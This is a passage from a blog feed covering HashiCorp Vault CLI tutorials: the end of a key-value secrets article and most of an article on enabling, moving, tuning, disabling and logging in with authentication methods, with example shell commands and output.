&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-21T09:43:58.324523Z
custom_metadata    map[comment:API credentials &lt;span class="k"&gt;for &lt;/span&gt;AWS public-key:ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwxMpyeMvv1THOjNfBubFwtifqWO6nSZj2AS6n0fFoT]
deletion_time      2025-12-21T09:44:58.324523Z
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            6

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv undelete &lt;span class="nt"&gt;-versions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;7 kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Data written to: kv2/undelete/api-creds

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-21T09:43:58.324523Z
custom_metadata    map[comment:API credentials &lt;span class="k"&gt;for &lt;/span&gt;AWS public-key:ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHwxMpyeMvv1THOjNfBubFwtifqWO6nSZj2AS6n0fFoT]
deletion_time      2025-12-21T09:48:18.574148Z
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            6

&lt;span class="o"&gt;=====&lt;/span&gt; Data &lt;span class="o"&gt;=====&lt;/span&gt;
Key        Value
&lt;span class="nt"&gt;---&lt;/span&gt;        &lt;span class="nt"&gt;-----&lt;/span&gt;
api_key    &lt;span class="nv"&gt;aws&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;75ae33a4b907bc87796
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv metadata delete&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command results in the immediate, non-recoverable destruction of all versions of a secret's data and metadata.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv metadata delete kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Data deleted &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if &lt;/span&gt;it existed&lt;span class="o"&gt;)&lt;/span&gt; at: kv2/metadata/api-creds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All following read attempts result in an error.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv metadata get kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
No value found at kv2/metadata/api-creds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Hashicorp Vault CLI is a powerful tool for setup, configuration and maintenance of a Vault server or cluster. In an ongoing article series, all CLI commands are systematically explored. The focus for this article is two commands from the secret management group. With &lt;code&gt;secrets&lt;/code&gt;, the available engines can be activated, their configuration read and modified, and finally disabled. Similarly, for the built-in key-value store engine, the &lt;code&gt;kv&lt;/code&gt; subcommands cover all lifecycles. Here, you learned about the differences of kv-v1 and kv-v2 stores, and saw the intricacies of secret lifecycles with recoverable and non-recoverable deletion. Finally, you also saw how a secrets metadata can be accessed and manipulated, setting e.g. a property that automatically deletes secrets after a defined duration passed. Overall, this coverage should help you to use the key-value store with its full functionality.&lt;/p&gt;

</description>
      <category>hashicorp</category>
      <category>vault</category>
      <category>hashicorpvault</category>
    </item>
    <item>
      <title>Hashicorp Vault CLI Part 7: Authentication</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 16 Mar 2026 05:58:06 +0000</pubDate>
      <link>https://dev.to/admantium/hashicorp-vault-cli-part-7-authentication-2k33</link>
      <guid>https://dev.to/admantium/hashicorp-vault-cli-part-7-authentication-2k33</guid>
      <description>&lt;p&gt;Hashicorp Vault is a secrets management tool. For setup, configuration, and management, the Vault CLI can be used. It offers more than 30 subcommands, and in this blog series, they are explored systematically.&lt;/p&gt;

&lt;p&gt;This article focuses on Authentication. It covers the setup and management of authentication engines, and it shows how to perform logins for the engines.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;hashicorp_vault_v1.21.1&lt;/code&gt;, released 2025-11-18. All provided information and command examples should be valid with newer versions too, baring an update of the CLI commands' syntax&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The background material for this article stems from the official Hashicorp Vault documentation about &lt;a href="https://developer.hashicorp.com/vault/docs/commands" rel="noopener noreferrer"&gt;Vault CLI&lt;/a&gt; and subsequent pages, as well as information from the binary itself&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/vault16_cli_p7_authentication/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vault CLI Overview
&lt;/h2&gt;

&lt;p&gt;The Vault CLI provides more than 30 commands. For systematically explaining and contextualizing each command, they can be structured as follows.&lt;/p&gt;

&lt;p&gt;Groups marked with a checkmark were covered in an earlier article, and the section marked with an at sign is the focus for this article.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Initialization

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;server&lt;/code&gt;: Starts a server process&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;agent&lt;/code&gt;: Starts an agent process, a utility to communicate with a vault server to gain access to tokens&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;proxy&lt;/code&gt;: Starts a vault proxy process&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Configuration

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;operator&lt;/code&gt;: Cluster management operations, including memberships, encryption and unseal keys&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;plugin&lt;/code&gt;: Manage and install additional plugins&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;read&lt;/code&gt; / &lt;code&gt;list&lt;/code&gt;: Access stored configuration and secrets&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;write&lt;/code&gt; / &lt;code&gt;patch&lt;/code&gt;: Modify or create any data&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;delete&lt;/code&gt;: Delete configuration data or secrets&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Introspection

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;status&lt;/code&gt;: Show status information of the vault server&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;version&lt;/code&gt;: Shows compact version information and build timestamp&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;version-history&lt;/code&gt;: Shows detailed version information about all previously used vault server instances&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;print&lt;/code&gt;: Detailed view of the vault’s server runtime configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;path-help&lt;/code&gt;: Detailed documentation about API endpoints&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;events&lt;/code&gt;: Subscribe to the event stream of a running vault instance&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;monitor&lt;/code&gt;: Print vault log messages&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;debug&lt;/code&gt;: Shows debug information of the connected Vault server&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;audit&lt;/code&gt;: Interact with connected audit devices&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Vault Enterprise

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;hcp&lt;/code&gt;: Operate a managed Hashicorp Vault cluster&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;namespace&lt;/code&gt;: Interact with configured namespaces of the cluster&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Authorization

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;policy&lt;/code&gt;: Manage policy definitions that govern all vault operations&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tokens&lt;/code&gt;: General token management&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;lease&lt;/code&gt;: Manage current token leases, including renewal, revocation and TTL modification&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;🌀 Authentication

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;auth&lt;/code&gt;: Interact with configured authentication options&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;login&lt;/code&gt;: Authenticates access to a Vault server&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Secrets Management

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;secrets&lt;/code&gt;: General configuration of secret engines&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;kv&lt;/code&gt;: Access to the essential key-value store&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;transform&lt;/code&gt;: Interact with the transform secrets engine&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;transit&lt;/code&gt;: Interact with the Vaults transit secrets engine&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;unwrap&lt;/code&gt;: One-time access to arbitrary encrypted data&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pki&lt;/code&gt;: Access the private key infrastructure secrets engine&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ssh&lt;/code&gt;: Initiates SSH sessions via the SSH secrets engine&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Authentication Commands
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;auth&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;A new vault instance supports exactly one, not disableable authentication method: token. Using either the initially defined root token, or other created tokens with the required policies, access to the Vault server can be given.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;vault auth&lt;/code&gt; command provides several subcommands with which the available authentication methods can be managed.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;enable&lt;/code&gt;: Activate a new authentication method&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;move&lt;/code&gt;: Change the mount path of an auth method&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tune&lt;/code&gt;: Modify the configuration of an auth method&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;list&lt;/code&gt;: Show all configured auth methods&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;help&lt;/code&gt;: Show supporting information about how to use an authentication method&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;disable&lt;/code&gt;: Deactivate an authentication method&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As explored in more detail in my article &lt;a href="https://admantium.com/blog/vault08_authenthication_provider" rel="noopener noreferrer"&gt;Authentication Provider Almanac&lt;/a&gt;, authentication methods can be divided into builtin, user, system, and cloud. While the subcommands structure stays the same for each method, parameters may vary.&lt;/p&gt;

&lt;p&gt;To get an overview to all available authentication methods, one option is to access the Vault GUI at path &lt;code&gt;/ui/vault/settings/auth/enable&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2chsyidxjkg6ikb2leg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2chsyidxjkg6ikb2leg.png" width="800" height="488"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The other option is to access the plugin management and list authentication plugins.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault plugin list auth

Name          Version
&lt;span class="nt"&gt;----&lt;/span&gt;          &lt;span class="nt"&gt;-------&lt;/span&gt;
alicloud      v0.22.0+builtin
approle       v1.21.1+builtin.vault
aws           v1.21.1+builtin.vault
azure         v0.22.0+builtin
cert          v1.21.1+builtin.vault
cf            v0.22.0+builtin
gcp           v0.22.0+builtin
github        v1.21.1+builtin.vault
jwt           v0.25.0+builtin
kerberos      v0.16.0+builtin
kubernetes    v0.23.1+builtin
ldap          v1.21.1+builtin.vault
oci           v0.20.0+builtin
oidc          v1.21.1+builtin.vault
okta          v1.21.1+builtin.vault
pcf           v1.21.1+builtin.vault
radius        v1.21.1+builtin.vault
userpass      v1.21.1+builtin.vault
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The following two sections contrast examples for builtin and user authentication methods.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Managing Builtin Authentication Method: Userpass&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A new authentication method can be enabled by just passing its name. Several options can be passed already at initialization time, including the TTL of leases and plugin-specific options, or technical options like access to Vault-external entropy sources.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth &lt;span class="nb"&gt;enable &lt;/span&gt;userpass

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Success! Enabled userpass auth method at: userpass/
core: enabled credential backend: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;userpass/ &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;userpass &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"v1.21.1+builtin.vault"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The default mount path can be changed, with the immediate effect that all existing tokens will be invalidated immediately. Internally, the authentication methods endpoints configuration will be copied, then unmounted, and mounted at the new path - a background operation that can take some time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth move auth/userpass auth/login

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Started moving auth method auth/userpass/ to auth/login/, with migration ID b332d7d5-719d-631c-e15c-a85d09c81fd6
Waiting &lt;span class="k"&gt;for &lt;/span&gt;terminal status &lt;span class="k"&gt;in &lt;/span&gt;migration of auth method auth/userpass/ to auth/login/, with migration ID b332d7d5-719d-631c-e15c-a85d09c81fd6
Success! Finished moving auth method auth/userpass/ to auth/login/, with migration ID b332d7d5-719d-631c-e15c-a85d09c81fd6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the authentication method is mounted, its configuration can be changed with the &lt;code&gt;tune&lt;/code&gt; command. All options available during initialization can be accessed and modified. The following command shows how to change the default lease time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth tune &lt;span class="nt"&gt;-default-lease-ttl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1h login/

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-11T20:07:33.703+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: mount tuning of leases successful: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/login/
Success! Tuned the auth method at: login/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To get an overview to all defined authentication methods, run the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth list

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Path      Type        Accessor                  Description                Version
&lt;span class="nt"&gt;----&lt;/span&gt;      &lt;span class="nt"&gt;----&lt;/span&gt;        &lt;span class="nt"&gt;--------&lt;/span&gt;                  &lt;span class="nt"&gt;-----------&lt;/span&gt;                &lt;span class="nt"&gt;-------&lt;/span&gt;
login/    userpass    auth_userpass_208f6abe    n/a                        n/a
token/    token       auth_token_a5a09180       token based credentials    n/a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each authentication methods can be used with the Vault CLI via &lt;code&gt;vault login&lt;/code&gt;. A helpful shortcut to see when parameters an authentication method requires can be obtained as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth &lt;span class="nb"&gt;help &lt;/span&gt;login/

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Usage: vault login &lt;span class="nt"&gt;-method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;userpass &lt;span class="o"&gt;[&lt;/span&gt;CONFIG &lt;span class="nv"&gt;K&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;V...]

  The userpass auth method allows &lt;span class="nb"&gt;users &lt;/span&gt;to authenticate using Vault&lt;span class="s1"&gt;'s
  internal user database.

  Authenticate as "sally":

      $ vault login -method=userpass username=sally
      Password (will be hidden):

  Authenticate as "bob":

      $ vault login -method=userpass username=bob password=password

Configuration:

  password=&amp;lt;string&amp;gt;
      Password to use for authentication. If not provided, the CLI will prompt
      for this on stdin.

  username=&amp;lt;string&amp;gt;
      Username to use for authentication.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, a configured auth method can be disabled, immediately revoking all existing leases.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth disable login/

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-11T20:14:25.462+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: disabled credential backend: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/login/
Success! Disabled the auth method &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if &lt;/span&gt;it existed&lt;span class="o"&gt;)&lt;/span&gt; at: login/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Managing User Authentication Method: OIDC&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The OIDC method is activated and mounted at a predefined path.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth oidc

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-13T11:20:44.946+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: enabled credential backend: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;oidc/ &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;oidc &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"v1.21.1+builtin.vault"&lt;/span&gt;
Success! Enabled oidc auth method at: oidc/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, it should be available at the path &lt;code&gt;/openid-login&lt;/code&gt;. Let’s move it there.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth move auth/oidc auth/openid-login

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-13T11:21:23.440+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core.mounts.migration: Starting to update the mount table and revoke leases: &lt;span class="nv"&gt;from_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/oidc/ &lt;span class="nv"&gt;migration_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;64a573e0-b9f5-1a92-bf63-68578a90ee13 &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;to_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/openid-login/
Started moving auth method auth/oidc/ to auth/openid-login/, with migration ID 64a573e0-b9f5-1a92-bf63-68578a90ee13
Waiting &lt;span class="k"&gt;for &lt;/span&gt;terminal status &lt;span class="k"&gt;in &lt;/span&gt;migration of auth method auth/oidc/ to auth/openid-login/, with migration ID 64a573e0-b9f5-1a92-bf63-68578a90ee13
2025-12-13T11:21:23.734+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core.mounts.migration: Removing the &lt;span class="nb"&gt;source &lt;/span&gt;mount from filtered paths on secondaries: &lt;span class="nv"&gt;from_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/oidc/ &lt;span class="nv"&gt;migration_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;64a573e0-b9f5-1a92-bf63-68578a90ee13 &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;to_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/openid-login/
2025-12-13T11:21:23.734+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core.mounts.migration: Updating quotas associated with the &lt;span class="nb"&gt;source &lt;/span&gt;mount: &lt;span class="nv"&gt;from_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/oidc/ &lt;span class="nv"&gt;migration_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;64a573e0-b9f5-1a92-bf63-68578a90ee13 &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;to_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/openid-login/
2025-12-13T11:21:23.735+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core.mounts.migration: Completed mount move operations: &lt;span class="nv"&gt;from_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/oidc/ &lt;span class="nv"&gt;migration_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;64a573e0-b9f5-1a92-bf63-68578a90ee13 &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;to_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/openid-login/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The OIDC authentication can be used in conjunction with an external system. To see tunable properties, run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault &lt;span class="nb"&gt;read &lt;/span&gt;sys/auth/openid-login/tune

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Key                  Value
&lt;span class="nt"&gt;---&lt;/span&gt;                  &lt;span class="nt"&gt;-----&lt;/span&gt;
default_lease_ttl    768h
description          n/a
force_no_cache       &lt;span class="nb"&gt;false
&lt;/span&gt;max_lease_ttl        768h
token_type           default-service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s limit the TTL, and ensure unauthenticated users can access the method as well.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth tune &lt;span class="nt"&gt;-max-lease-ttl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1m &lt;span class="nt"&gt;-listing-visibility&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;unauth openid-login

2025-12-13T11:37:08.199+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: mount tuning of leases successful: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/openid-login/
2025-12-13T11:37:08.456+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: mount tuning of listing_visibility successful: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/openid-login/
Success! Tuned the auth method at: openid-login/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To see how to perform a login with this method, run the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth &lt;span class="nb"&gt;help &lt;/span&gt;openid-login/

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Usage: vault login &lt;span class="nt"&gt;-method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;oidc &lt;span class="o"&gt;[&lt;/span&gt;CONFIG &lt;span class="nv"&gt;K&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;V...]

  The OIDC auth method allows &lt;span class="nb"&gt;users &lt;/span&gt;to authenticate using an OIDC provider.
  The provider must be configured as part of a role by the operator.

  Authenticate using role &lt;span class="s2"&gt;"engineering"&lt;/span&gt;:

      &lt;span class="nv"&gt;$ &lt;/span&gt;vault login &lt;span class="nt"&gt;-method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;oidc &lt;span class="nv"&gt;role&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;engineering
      Complete the login via your OIDC provider. Launching browser to:

          https://accounts.google.com/o/oauth2/v2/...

  The default browser will be opened &lt;span class="k"&gt;for &lt;/span&gt;the user to &lt;span class="nb"&gt;complete &lt;/span&gt;the login. Alternatively,
  the user may visit the provided URL directly.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, the authentication method will be disabled again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault auth disable openid-login

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-13T11:44:33.916+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: disabled credential backend: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auth/openid-login/
Success! Disabled the auth method &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if &lt;/span&gt;it existed&lt;span class="o"&gt;)&lt;/span&gt; at: openid-login/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;login&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;To login to a configured authentication method, both the GUI and the CLI can be used. An invocation via the CLI requires the following command flags to be present:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;method&lt;/code&gt;: The authentication method type&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;path&lt;/code&gt;: In case of a non-default mount path, it needs to be configured specifically.&lt;/li&gt;
&lt;li&gt;parameters: Additional parameters as required by the authentication method&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Continuing with the examples from the last two sections, to perform the login for the userpass method, run the following commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault login &lt;span class="nt"&gt;-method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;userpass &lt;span class="nt"&gt;-path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;login &lt;span class="nv"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;user

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Password &lt;span class="o"&gt;(&lt;/span&gt;will be hidden&lt;span class="o"&gt;)&lt;/span&gt;:
Success! You are now authenticated. The token information displayed below
